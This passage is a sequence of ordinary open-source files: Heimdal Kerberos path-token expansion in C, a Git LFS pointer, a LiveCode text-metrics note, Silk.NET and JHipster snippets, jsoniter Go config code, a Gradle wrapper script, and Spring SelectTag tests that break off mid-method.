&len)) { if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) { if (context) krb5_set_error_message(context, rv, "Unexpected error reading token information (GLE=%d)", GetLastError()); goto _exit; } if (len == 0) { if (context) krb5_set_error_message(context, rv, "GetTokenInformation() returned truncated buffer"); goto _exit; } pOwner = malloc(len); if (pOwner == NULL) { if (context) krb5_set_error_message(context, rv, "Out of memory"); goto _exit; } } else { if (context) krb5_set_error_message(context, rv, "GetTokenInformation() returned truncated buffer"); goto _exit; } if (!GetTokenInformation(hToken, TokenOwner, pOwner, len, &len)) { if (context) krb5_set_error_message(context, rv, "GetTokenInformation() failed. GLE=%d", GetLastError()); goto _exit; } if (!ConvertSidToStringSid(pOwner->Owner, &strSid)) { if (context) krb5_set_error_message(context, rv, "Can't convert SID to string. GLE=%d", GetLastError()); goto _exit; } *ret = strdup(strSid); if (*ret == NULL && context) krb5_set_error_message(context, rv, "Out of memory"); rv = 0; _exit: if (hToken != NULL) CloseHandle(hToken); if (pOwner != NULL) free (pOwner); if (strSid != NULL) LocalFree(strSid); return rv; } /* * Expand a folder identified by a CSIDL */ static int _expand_csidl(krb5_context context, PTYPE folder, const char *postfix, char **ret) { TCHAR path[MAX_PATH]; size_t len; if (SHGetFolderPath(NULL, folder, NULL, SHGFP_TYPE_CURRENT, path) != S_OK) { if (context) krb5_set_error_message(context, EINVAL, "Unable to determine folder path"); return EINVAL; } len = strlen(path); if (len > 0 && path[len - 1] == '\\') path[len - 1] = '\0'; if (postfix && strlcat(path, postfix, sizeof(path)/sizeof(path[0])) >= sizeof(path)/sizeof(path[0])) { return ENOMEM; } *ret = strdup(path); if (*ret == NULL) { if (context) krb5_set_error_message(context, ENOMEM, "Out of memory"); return ENOMEM; } return 0; } #else static int _expand_path(krb5_context context, PTYPE param, const char *postfix, char **ret) { *ret = strdup(postfix); if (*ret == NULL) { krb5_set_error_message(context, ENOMEM, "malloc - out of memory"); return ENOMEM; } return 0; } static int _expand_temp_folder(krb5_context context, PTYPE param, const char *postfix, char **ret) { const char *p = NULL; if (issuid()) p = getenv("TEMP"); if (p) *ret = strdup(p); else *ret = strdup("/tmp"); if (*ret == NULL) return ENOMEM; return 0; } static int _expand_userid(krb5_context context, PTYPE param, const char *postfix, char **str) { int ret = asprintf(str, "%ld", (unsigned long)getuid()); if (ret < 0 || *str == NULL) return ENOMEM; return 0; } #endif /* _WIN32 */ /** * Expand a %{null} token * * The expansion of a %{null} token is always the empty string. */ static int _expand_null(krb5_context context, PTYPE param, const char *postfix, char **ret) { *ret = strdup(""); if (*ret == NULL) { if (context) krb5_set_error_message(context, ENOMEM, "Out of memory"); return ENOMEM; } return 0; } static const struct { const char * tok; int ftype; #define FTYPE_CSIDL 0 #define FTYPE_SPECIAL 1 PTYPE param; const char * postfix; int (*exp_func)(krb5_context, PTYPE, const char *, char **); #define SPECIALP(f, P) FTYPE_SPECIAL, 0, P, f #define SPECIAL(f) SPECIALP(f, NULL) } tokens[] = { #ifdef _WIN32 #define CSIDLP(C,P) FTYPE_CSIDL, C, P, _expand_csidl #define CSIDL(C) CSIDLP(C, NULL) {"APPDATA", CSIDL(CSIDL_APPDATA)}, /* Roaming application data (for current user) */ {"COMMON_APPDATA", CSIDL(CSIDL_COMMON_APPDATA)}, /* Application data (all users) */ {"LOCAL_APPDATA", CSIDL(CSIDL_LOCAL_APPDATA)}, /* Local application data (for current user) */ {"SYSTEM", CSIDL(CSIDL_SYSTEM)}, /* Windows System folder (e.g. %WINDIR%\System32) */ {"WINDOWS", CSIDL(CSIDL_WINDOWS)}, /* Windows folder */ {"USERCONFIG", CSIDLP(CSIDL_APPDATA, "\\" PACKAGE)}, /* Per user Heimdal configuration file path */ {"COMMONCONFIG", CSIDLP(CSIDL_COMMON_APPDATA, "\\" PACKAGE)}, /* Common Heimdal configuration file path */ {"LIBDIR", SPECIAL(_expand_bin_dir)}, {"BINDIR", SPECIAL(_expand_bin_dir)}, {"LIBEXEC", SPECIAL(_expand_bin_dir)}, {"SBINDIR", SPECIAL(_expand_bin_dir)}, #else {"LIBDIR", FTYPE_SPECIAL, 0, LIBDIR, _expand_path}, {"BINDIR", FTYPE_SPECIAL, 0, BINDIR, _expand_path}, {"LIBEXEC", FTYPE_SPECIAL, 0, LIBEXECDIR, _expand_path}, {"SBINDIR", FTYPE_SPECIAL, 0, SBINDIR, _expand_path}, #endif {"TEMP", SPECIAL(_expand_temp_folder)}, {"USERID", SPECIAL(_expand_userid)}, {"uid", SPECIAL(_expand_userid)}, {"null", SPECIAL(_expand_null)} }; static int _expand_token(krb5_context context, const char *token, const char *token_end, char **ret) { size_t i; *ret = NULL; if (token[0] != '%' || token[1] != '{' || token_end[0] != '}' || token_end - token <= 2) { if (context) krb5_set_error_message(context, EINVAL,"Invalid token."); return EINVAL; } for (i = 0; i < sizeof(tokens)/sizeof(tokens[0]); i++) { if (!strncmp(token+2, tokens[i].tok, (token_end - token) - 2)) return tokens[i].exp_func(context, tokens[i].param, tokens[i].postfix, ret); } if (context) krb5_set_error_message(context, EINVAL, "Invalid token."); return EINVAL; } KRB5_LIB_FUNCTION krb5_error_code KRB5_LIB_CALL _krb5_expand_path_tokens(krb5_context context, const char *path_in, char **ppath_out) { char *tok_begin, *tok_end, *append; const char *path_left; size_t len = 0; if (path_in == NULL || *path_in == '\0') { *ppath_out = strdup(""); return 0; } *ppath_out = NULL; for (path_left = path_in; path_left && *path_left; ) { tok_begin = strstr(path_left, "%{"); if (tok_begin && tok_begin != path_left) { append = malloc((tok_begin - path_left) + 1); if (append) { memcpy(append, path_left, tok_begin - path_left); append[tok_begin - path_left] = '\0'; } path_left = tok_begin; } else if (tok_begin) { tok_end = strchr(tok_begin, '}'); if (tok_end == NULL) { if (*ppath_out) free(*ppath_out); *ppath_out = NULL; if (context) krb5_set_error_message(context, EINVAL, "variable missing }"); return EINVAL; } if (_expand_token(context, tok_begin, tok_end, &append)) { if (*ppath_out) free(*ppath_out); *ppath_out = NULL; return EINVAL; } path_left = tok_end + 1; } else { append = strdup(path_left); path_left = NULL; } if (append == NULL) { if (*ppath_out) free(*ppath_out); *ppath_out = NULL; if (context) krb5_set_error_message(context, ENOMEM, "malloc - out of memory"); return ENOMEM; } { size_t append_len = strlen(append); char * new_str = realloc(*ppath_out, len + append_len + 1); if (new_str == NULL) { free(append); if (*ppath_out) free(*ppath_out); *ppath_out = NULL; if (context) krb5_set_error_message(context, ENOMEM, "malloc - out of memory"); return ENOMEM; } *ppath_out = new_str; memcpy(*ppath_out + len, append, append_len + 1); len = len + append_len; free(append); } } #ifdef _WIN32 /* Also deal with slashes */ if (*ppath_out) { char * c; for (c = *ppath_out; *c; c++) if (*c == '/') *c = '\\'; } #endif return 0; }
{ "pile_set_name": "Github" }
version https://git-lfs.github.com/spec/v1 oid sha256:4928d22cff728bd4223b322d6b32037a61252c37fc8610dc2ff80abdbf4c4874 size 17936992
{ "pile_set_name": "Github" }
# Use more accurate measurements when laying out text. The measurements used by LiveCode to lay out text (the text "metrics") in versions prior to 8 were optimised for low-resolution bitmap fonts. In LiveCode 8, more accurate measurements are now being used by the field and other controls. For many existing stacks, the most visible change is that lines in the field are now closer together and better match the text display in other programs. If this is not desirable, a fixed line height can be set on the field to emulate the old behaviour.
{ "pile_set_name": "Github" }
// This file is part of Silk.NET. // // You may modify and distribute Silk.NET under the terms // of the MIT license. See the LICENSE file for details. using System; #pragma warning disable 1591 namespace Silk.NET.OpenGLES { public enum GetVariantValueEXT { VariantValueExt = 0x87E4, VariantDatatypeExt = 0x87E5, VariantArrayStrideExt = 0x87E6, VariantArrayTypeExt = 0x87E7, } }
{ "pile_set_name": "Github" }
/** * Copyright 2017-2020 the original author or authors from the JHipster Online project. * * This file is part of the JHipster Online project, see https://github.com/jhipster/jhipster-online * for more information. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ import { Injectable } from '@angular/core'; import { HttpClient, HttpResponse } from '@angular/common/http'; import { Observable } from 'rxjs'; import { SERVER_API_URL } from 'app/app.constants'; import { createRequestOption, Pagination } from 'app/shared/util/request-util'; import { IUser } from './user.model'; @Injectable({ providedIn: 'root' }) export class UserService { public resourceUrl = SERVER_API_URL + 'api/users'; constructor(private http: HttpClient) {} create(user: IUser): Observable<IUser> { return this.http.post<IUser>(this.resourceUrl, user); } update(user: IUser): Observable<IUser> { return this.http.put<IUser>(this.resourceUrl, user); } find(login: string): Observable<IUser> { return this.http.get<IUser>(`${this.resourceUrl}/${login}`); } query(req?: Pagination): Observable<HttpResponse<IUser[]>> { const options = createRequestOption(req); return this.http.get<IUser[]>(this.resourceUrl, { params: options, observe: 'response' }); } delete(login: string): Observable<{}> { return this.http.delete(`${this.resourceUrl}/${login}`); } authorities(): Observable<string[]> { return this.http.get<string[]>(SERVER_API_URL + 'api/users/authorities'); } }
{ "pile_set_name": "Github" }
package jsoniter import ( "encoding/json" "io" "reflect" "sync" "unsafe" "github.com/modern-go/concurrent" "github.com/modern-go/reflect2" ) // Config customize how the API should behave. // The API is created from Config by Froze. type Config struct { IndentionStep int MarshalFloatWith6Digits bool EscapeHTML bool SortMapKeys bool UseNumber bool DisallowUnknownFields bool TagKey string OnlyTaggedField bool ValidateJsonRawMessage bool ObjectFieldMustBeSimpleString bool CaseSensitive bool } // API the public interface of this package. // Primary Marshal and Unmarshal. type API interface { IteratorPool StreamPool MarshalToString(v interface{}) (string, error) Marshal(v interface{}) ([]byte, error) MarshalIndent(v interface{}, prefix, indent string) ([]byte, error) UnmarshalFromString(str string, v interface{}) error Unmarshal(data []byte, v interface{}) error Get(data []byte, path ...interface{}) Any NewEncoder(writer io.Writer) *Encoder NewDecoder(reader io.Reader) *Decoder Valid(data []byte) bool RegisterExtension(extension Extension) DecoderOf(typ reflect2.Type) ValDecoder EncoderOf(typ reflect2.Type) ValEncoder } // ConfigDefault the default API var ConfigDefault = Config{ EscapeHTML: true, }.Froze() // ConfigCompatibleWithStandardLibrary tries to be 100% compatible with standard library behavior var ConfigCompatibleWithStandardLibrary = Config{ EscapeHTML: true, SortMapKeys: true, ValidateJsonRawMessage: true, }.Froze() // ConfigFastest marshals float with only 6 digits precision var ConfigFastest = Config{ EscapeHTML: false, MarshalFloatWith6Digits: true, // will lose precession ObjectFieldMustBeSimpleString: true, // do not unescape object field }.Froze() type frozenConfig struct { configBeforeFrozen Config sortMapKeys bool indentionStep int objectFieldMustBeSimpleString bool onlyTaggedField bool disallowUnknownFields bool decoderCache *concurrent.Map encoderCache *concurrent.Map encoderExtension Extension decoderExtension Extension extraExtensions []Extension streamPool *sync.Pool iteratorPool *sync.Pool caseSensitive bool } func (cfg *frozenConfig) initCache() { cfg.decoderCache = concurrent.NewMap() cfg.encoderCache = concurrent.NewMap() } func (cfg *frozenConfig) addDecoderToCache(cacheKey uintptr, decoder ValDecoder) { cfg.decoderCache.Store(cacheKey, decoder) } func (cfg *frozenConfig) addEncoderToCache(cacheKey uintptr, encoder ValEncoder) { cfg.encoderCache.Store(cacheKey, encoder) } func (cfg *frozenConfig) getDecoderFromCache(cacheKey uintptr) ValDecoder { decoder, found := cfg.decoderCache.Load(cacheKey) if found { return decoder.(ValDecoder) } return nil } func (cfg *frozenConfig) getEncoderFromCache(cacheKey uintptr) ValEncoder { encoder, found := cfg.encoderCache.Load(cacheKey) if found { return encoder.(ValEncoder) } return nil } var cfgCache = concurrent.NewMap() func getFrozenConfigFromCache(cfg Config) *frozenConfig { obj, found := cfgCache.Load(cfg) if found { return obj.(*frozenConfig) } return nil } func addFrozenConfigToCache(cfg Config, frozenConfig *frozenConfig) { cfgCache.Store(cfg, frozenConfig) } // Froze forge API from config func (cfg Config) Froze() API { api := &frozenConfig{ sortMapKeys: cfg.SortMapKeys, indentionStep: cfg.IndentionStep, objectFieldMustBeSimpleString: cfg.ObjectFieldMustBeSimpleString, onlyTaggedField: cfg.OnlyTaggedField, disallowUnknownFields: cfg.DisallowUnknownFields, caseSensitive: cfg.CaseSensitive, } api.streamPool = &sync.Pool{ New: func() interface{} { return NewStream(api, nil, 512) }, } api.iteratorPool = &sync.Pool{ New: func() interface{} { return NewIterator(api) }, } api.initCache() encoderExtension := EncoderExtension{} decoderExtension := DecoderExtension{} if cfg.MarshalFloatWith6Digits { api.marshalFloatWith6Digits(encoderExtension) } if cfg.EscapeHTML { api.escapeHTML(encoderExtension) } if cfg.UseNumber { api.useNumber(decoderExtension) } if cfg.ValidateJsonRawMessage { api.validateJsonRawMessage(encoderExtension) } api.encoderExtension = encoderExtension api.decoderExtension = decoderExtension api.configBeforeFrozen = cfg return api } func (cfg Config) frozeWithCacheReuse(extraExtensions []Extension) *frozenConfig { api := getFrozenConfigFromCache(cfg) if api != nil { return api } api = cfg.Froze().(*frozenConfig) for _, extension := range extraExtensions { api.RegisterExtension(extension) } addFrozenConfigToCache(cfg, api) return api } func (cfg *frozenConfig) validateJsonRawMessage(extension EncoderExtension) { encoder := &funcEncoder{func(ptr unsafe.Pointer, stream *Stream) { rawMessage := *(*json.RawMessage)(ptr) iter := cfg.BorrowIterator([]byte(rawMessage)) iter.Read() if iter.Error != nil { stream.WriteRaw("null") } else { cfg.ReturnIterator(iter) stream.WriteRaw(string(rawMessage)) } }, func(ptr unsafe.Pointer) bool { return len(*((*json.RawMessage)(ptr))) == 0 }} extension[reflect2.TypeOfPtr((*json.RawMessage)(nil)).Elem()] = encoder extension[reflect2.TypeOfPtr((*RawMessage)(nil)).Elem()] = encoder } func (cfg *frozenConfig) useNumber(extension DecoderExtension) { extension[reflect2.TypeOfPtr((*interface{})(nil)).Elem()] = &funcDecoder{func(ptr unsafe.Pointer, iter *Iterator) { exitingValue := *((*interface{})(ptr)) if exitingValue != nil && reflect.TypeOf(exitingValue).Kind() == reflect.Ptr { iter.ReadVal(exitingValue) return } if iter.WhatIsNext() == NumberValue { *((*interface{})(ptr)) = json.Number(iter.readNumberAsString()) } else { *((*interface{})(ptr)) = iter.Read() } }} } func (cfg *frozenConfig) getTagKey() string { tagKey := cfg.configBeforeFrozen.TagKey if tagKey == "" { return "json" } return tagKey } func (cfg *frozenConfig) RegisterExtension(extension Extension) { cfg.extraExtensions = append(cfg.extraExtensions, extension) copied := cfg.configBeforeFrozen cfg.configBeforeFrozen = copied } type lossyFloat32Encoder struct { } func (encoder *lossyFloat32Encoder) Encode(ptr unsafe.Pointer, stream *Stream) { stream.WriteFloat32Lossy(*((*float32)(ptr))) } func (encoder *lossyFloat32Encoder) IsEmpty(ptr unsafe.Pointer) bool { return *((*float32)(ptr)) == 0 } type lossyFloat64Encoder struct { } func (encoder *lossyFloat64Encoder) Encode(ptr unsafe.Pointer, stream *Stream) { stream.WriteFloat64Lossy(*((*float64)(ptr))) } func (encoder *lossyFloat64Encoder) IsEmpty(ptr unsafe.Pointer) bool { return *((*float64)(ptr)) == 0 } // EnableLossyFloatMarshalling keeps 10**(-6) precision // for float variables for better performance. func (cfg *frozenConfig) marshalFloatWith6Digits(extension EncoderExtension) { // for better performance extension[reflect2.TypeOfPtr((*float32)(nil)).Elem()] = &lossyFloat32Encoder{} extension[reflect2.TypeOfPtr((*float64)(nil)).Elem()] = &lossyFloat64Encoder{} } type htmlEscapedStringEncoder struct { } func (encoder *htmlEscapedStringEncoder) Encode(ptr unsafe.Pointer, stream *Stream) { str := *((*string)(ptr)) stream.WriteStringWithHTMLEscaped(str) } func (encoder *htmlEscapedStringEncoder) IsEmpty(ptr unsafe.Pointer) bool { return *((*string)(ptr)) == "" } func (cfg *frozenConfig) escapeHTML(encoderExtension EncoderExtension) { encoderExtension[reflect2.TypeOfPtr((*string)(nil)).Elem()] = &htmlEscapedStringEncoder{} } func (cfg *frozenConfig) cleanDecoders() { typeDecoders = map[string]ValDecoder{} fieldDecoders = map[string]ValDecoder{} *cfg = *(cfg.configBeforeFrozen.Froze().(*frozenConfig)) } func (cfg *frozenConfig) cleanEncoders() { typeEncoders = map[string]ValEncoder{} fieldEncoders = map[string]ValEncoder{} *cfg = *(cfg.configBeforeFrozen.Froze().(*frozenConfig)) } func (cfg *frozenConfig) MarshalToString(v interface{}) (string, error) { stream := cfg.BorrowStream(nil) defer cfg.ReturnStream(stream) stream.WriteVal(v) if stream.Error != nil { return "", stream.Error } return string(stream.Buffer()), nil } func (cfg *frozenConfig) Marshal(v interface{}) ([]byte, error) { stream := cfg.BorrowStream(nil) defer cfg.ReturnStream(stream) stream.WriteVal(v) if stream.Error != nil { return nil, stream.Error } result := stream.Buffer() copied := make([]byte, len(result)) copy(copied, result) return copied, nil } func (cfg *frozenConfig) MarshalIndent(v interface{}, prefix, indent string) ([]byte, error) { if prefix != "" { panic("prefix is not supported") } for _, r := range indent { if r != ' ' { panic("indent can only be space") } } newCfg := cfg.configBeforeFrozen newCfg.IndentionStep = len(indent) return newCfg.frozeWithCacheReuse(cfg.extraExtensions).Marshal(v) } func (cfg *frozenConfig) UnmarshalFromString(str string, v interface{}) error { data := []byte(str) iter := cfg.BorrowIterator(data) defer cfg.ReturnIterator(iter) iter.ReadVal(v) c := iter.nextToken() if c == 0 { if iter.Error == io.EOF { return nil } return iter.Error } iter.ReportError("Unmarshal", "there are bytes left after unmarshal") return iter.Error } func (cfg *frozenConfig) Get(data []byte, path ...interface{}) Any { iter := cfg.BorrowIterator(data) defer cfg.ReturnIterator(iter) return locatePath(iter, path) } func (cfg *frozenConfig) Unmarshal(data []byte, v interface{}) error { iter := cfg.BorrowIterator(data) defer cfg.ReturnIterator(iter) iter.ReadVal(v) c := iter.nextToken() if c == 0 { if iter.Error == io.EOF { return nil } return iter.Error } iter.ReportError("Unmarshal", "there are bytes left after unmarshal") return iter.Error } func (cfg *frozenConfig) NewEncoder(writer io.Writer) *Encoder { stream := NewStream(cfg, writer, 512) return &Encoder{stream} } func (cfg *frozenConfig) NewDecoder(reader io.Reader) *Decoder { iter := Parse(cfg, reader, 512) return &Decoder{iter} } func (cfg *frozenConfig) Valid(data []byte) bool { iter := cfg.BorrowIterator(data) defer cfg.ReturnIterator(iter) iter.Skip() return iter.Error == nil }
{ "pile_set_name": "Github" }
#!/usr/bin/env bash ############################################################################## ## ## Gradle start up script for UN*X ## ############################################################################## # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. DEFAULT_JVM_OPTS="" APP_NAME="Gradle" APP_BASE_NAME=`basename "$0"` # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD="maximum" warn ( ) { echo "$*" } die ( ) { echo echo "$*" echo exit 1 } # OS specific support (must be 'true' or 'false'). cygwin=false msys=false darwin=false case "`uname`" in CYGWIN* ) cygwin=true ;; Darwin* ) darwin=true ;; MINGW* ) msys=true ;; esac # Attempt to set APP_HOME # Resolve links: $0 may be a link PRG="$0" # Need this for relative symlinks. while [ -h "$PRG" ] ; do ls=`ls -ld "$PRG"` link=`expr "$ls" : '.*-> \(.*\)$'` if expr "$link" : '/.*' > /dev/null; then PRG="$link" else PRG=`dirname "$PRG"`"/$link" fi done SAVED="`pwd`" cd "`dirname \"$PRG\"`/" >/dev/null APP_HOME="`pwd -P`" cd "$SAVED" >/dev/null CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar # Determine the Java command to use to start the JVM. if [ -n "$JAVA_HOME" ] ; then if [ -x "$JAVA_HOME/jre/sh/java" ] ; then # IBM's JDK on AIX uses strange locations for the executables JAVACMD="$JAVA_HOME/jre/sh/java" else JAVACMD="$JAVA_HOME/bin/java" fi if [ ! -x "$JAVACMD" ] ; then die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME Please set the JAVA_HOME variable in your environment to match the location of your Java installation." fi else JAVACMD="java" which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. Please set the JAVA_HOME variable in your environment to match the location of your Java installation." fi # Increase the maximum file descriptors if we can. if [ "$cygwin" = "false" -a "$darwin" = "false" ] ; then MAX_FD_LIMIT=`ulimit -H -n` if [ $? -eq 0 ] ; then if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then MAX_FD="$MAX_FD_LIMIT" fi ulimit -n $MAX_FD if [ $? -ne 0 ] ; then warn "Could not set maximum file descriptor limit: $MAX_FD" fi else warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" fi fi # For Darwin, add options to specify how the application appears in the dock if $darwin; then GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" fi # For Cygwin, switch paths to Windows format before running java if $cygwin ; then APP_HOME=`cygpath --path --mixed "$APP_HOME"` CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` JAVACMD=`cygpath --unix "$JAVACMD"` # We build the pattern for arguments to be converted via cygpath ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` SEP="" for dir in $ROOTDIRSRAW ; do ROOTDIRS="$ROOTDIRS$SEP$dir" SEP="|" done OURCYGPATTERN="(^($ROOTDIRS))" # Add a user-defined pattern to the cygpath arguments if [ "$GRADLE_CYGPATTERN" != "" ] ; then OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" fi # Now convert the arguments - kludge to limit ourselves to /bin/sh i=0 for arg in "$@" ; do CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` else eval `echo args$i`="\"$arg\"" fi i=$((i+1)) done case $i in (0) set -- ;; (1) set -- "$args0" ;; (2) set -- "$args0" "$args1" ;; (3) set -- "$args0" "$args1" "$args2" ;; (4) set -- "$args0" "$args1" "$args2" "$args3" ;; (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; esac fi # Split up the JVM_OPTS And GRADLE_OPTS values into an array, following the shell quoting and substitution rules function splitJvmOpts() { JVM_OPTS=("$@") } eval splitJvmOpts $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS JVM_OPTS[${#JVM_OPTS[*]}]="-Dorg.gradle.appname=$APP_BASE_NAME" exec "$JAVACMD" "${JVM_OPTS[@]}" -classpath "$CLASSPATH" org.gradle.wrapper.GradleWrapperMain "$@"
{ "pile_set_name": "Github" }
/* * Copyright 2002-2020 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.springframework.web.servlet.tags.form; import java.beans.PropertyEditor; import java.beans.PropertyEditorSupport; import java.io.StringReader; import java.text.ParseException; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; import java.util.HashMap; import java.util.List; import java.util.Locale; import java.util.Map; import java.util.TreeMap; import javax.servlet.jsp.JspException; import javax.servlet.jsp.tagext.Tag; import org.dom4j.Attribute; import org.dom4j.Document; import org.dom4j.DocumentException; import org.dom4j.Element; import org.dom4j.io.SAXReader; import org.junit.jupiter.api.Test; import org.springframework.beans.propertyeditors.CustomCollectionEditor; import org.springframework.beans.testfixture.beans.TestBean; import org.springframework.format.Formatter; import org.springframework.format.support.FormattingConversionService; import org.springframework.validation.BeanPropertyBindingResult; import org.springframework.validation.BindingResult; import org.springframework.web.servlet.support.BindStatus; import org.springframework.web.servlet.tags.TransformTag; import static org.assertj.core.api.Assertions.assertThat; import static org.assertj.core.api.Assertions.assertThatExceptionOfType; /** * @author Rob Harrop * @author Juergen Hoeller * @author Jeremy Grelle * @author Dave Syer */ @SuppressWarnings({ "rawtypes", "unchecked" }) public class SelectTagTests extends AbstractFormTagTests { private static final Locale LOCALE_AT = new Locale("de", "AT"); private static final Locale LOCALE_NL = new Locale("nl", "NL"); private SelectTag tag; private TestBeanWithRealCountry bean; @Override @SuppressWarnings("serial") protected void onSetUp() { this.tag = new SelectTag() { @Override protected TagWriter createTagWriter() { return new TagWriter(getWriter()); } }; this.tag.setPageContext(getPageContext()); } @Test public void dynamicAttributes() throws JspException { String dynamicAttribute1 = "attr1"; String dynamicAttribute2 = "attr2"; this.tag.setPath("country"); this.tag.setItems(Collections.EMPTY_LIST); this.tag.setItemValue("isoCode"); this.tag.setItemLabel("name"); this.tag.setDynamicAttribute(null, dynamicAttribute1, dynamicAttribute1); this.tag.setDynamicAttribute(null, dynamicAttribute2, dynamicAttribute2); int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.SKIP_BODY); String output = getOutput(); assertContainsAttribute(output, dynamicAttribute1, dynamicAttribute1); assertContainsAttribute(output, dynamicAttribute2, dynamicAttribute2); } @Test public void emptyItems() throws Exception { this.tag.setPath("country"); this.tag.setItems(Collections.EMPTY_LIST); this.tag.setItemValue("isoCode"); this.tag.setItemLabel("name"); int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.SKIP_BODY); String output = getOutput(); assertThat(output).isEqualTo("<select id=\"country\" name=\"country\"></select>"); } @Test public void nullItems() throws Exception { this.tag.setPath("country"); this.tag.setItems(null); this.tag.setItemValue("isoCode"); this.tag.setItemLabel("name"); int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.SKIP_BODY); String output = getOutput(); assertThat(output).isEqualTo("<select id=\"country\" name=\"country\"></select>"); } @Test public void withList() throws Exception { this.tag.setPath("country"); this.tag.setItems(Country.getCountries()); assertList(true); } @Test public void withResolvedList() throws Exception { this.tag.setPath("country"); this.tag.setItems(Country.getCountries()); assertList(true); } @Test public void withOtherValue() throws Exception { TestBean tb = getTestBean(); tb.setCountry("AT"); this.tag.setPath("country"); this.tag.setItems(Country.getCountries()); assertList(false); } @Test public void withNullValue() throws Exception { TestBean tb = getTestBean(); tb.setCountry(null); this.tag.setPath("country"); this.tag.setItems(Country.getCountries()); assertList(false); } @Test public void withListAndNoLabel() throws Exception { this.tag.setPath("country"); this.tag.setItems(Country.getCountries()); this.tag.setItemValue("isoCode"); int result = this.tag.doStartTag(); assertThat(result).isEqualTo(Tag.SKIP_BODY); validateOutput(getOutput(), true); } @Test public void withListAndTransformTag() throws Exception { this.tag.setPath("country"); this.tag.setItems(Country.getCountries()); assertList(true); TransformTag transformTag = new TransformTag(); transformTag.setValue(Country.getCountries().get(0)); transformTag.setVar("key"); transformTag.setParent(this.tag); transformTag.setPageContext(getPageContext()); transformTag.doStartTag(); assertThat(getPageContext().findAttribute("key")).isEqualTo("Austria(AT)"); } @Test public void withListAndTransformTagAndEditor() throws Exception { this.tag.setPath("realCountry"); this.tag.setItems(Country.getCountries()); BeanPropertyBindingResult bindingResult = new BeanPropertyBindingResult(getTestBean(), "testBean"); bindingResult.getPropertyAccessor().registerCustomEditor(Country.class, new PropertyEditorSupport() { @Override public void setAsText(String text) throws IllegalArgumentException { setValue(Country.getCountryWithIsoCode(text)); } @Override public String getAsText() { return ((Country) getValue()).getName(); } }); getPageContext().getRequest().setAttribute(BindingResult.MODEL_KEY_PREFIX + "testBean", bindingResult); this.tag.doStartTag(); TransformTag transformTag = new TransformTag(); transformTag.setValue(Country.getCountries().get(0)); transformTag.setVar("key"); transformTag.setParent(this.tag); transformTag.setPageContext(getPageContext()); transformTag.doStartTag(); assertThat(getPageContext().findAttribute("key")).isEqualTo("Austria"); } @Test public void withListAndEditor() throws Exception { this.tag.setPath("realCountry"); this.tag.setItems(Country.getCountries()); this.tag.setItemValue("isoCode"); this.tag.setItemLabel("name"); BeanPropertyBindingResult bindingResult = new BeanPropertyBindingResult(getTestBean(), "testBean"); bindingResult.getPropertyAccessor().registerCustomEditor(Country.class, new PropertyEditorSupport() { @Override public void setAsText(String text) throws IllegalArgumentException { setValue(Country.getCountryWithIsoCode(text)); } @Override public String getAsText() { return ((Country) getValue()).getName(); } }); getPageContext().getRequest().setAttribute(BindingResult.MODEL_KEY_PREFIX + "testBean", bindingResult); this.tag.doStartTag(); String output = getOutput(); assertThat(output.startsWith("<select ")).isTrue(); assertThat(output.endsWith("</select>")).isTrue(); assertThat(output.contains("option value=\"AT\" selected=\"selected\">Austria")).isTrue(); } @Test public void nestedPathWithListAndEditorAndNullValue() throws Exception { this.tag.setPath("bean.realCountry"); this.tag.setItems(Country.getCountries()); this.tag.setItemValue("isoCode"); this.tag.setItemLabel("name"); this.tag.setMultiple("false"); TestBeanWrapper testBean = new TestBeanWrapper(); TestBeanWithRealCountry withCountry = (TestBeanWithRealCountry) getTestBean(); withCountry.setRealCountry(null); testBean.setBean(withCountry); BeanPropertyBindingResult bindingResult = new BeanPropertyBindingResult(testBean , "testBean"); bindingResult.getPropertyAccessor().registerCustomEditor(Country.class, new PropertyEditorSupport() { @Override public void setAsText(String text) throws IllegalArgumentException { if (text==null || text.length()==0) { setValue(null); return; } setValue(Country.getCountryWithIsoCode(text)); } @Override public String getAsText() { Country value = (Country) getValue(); if 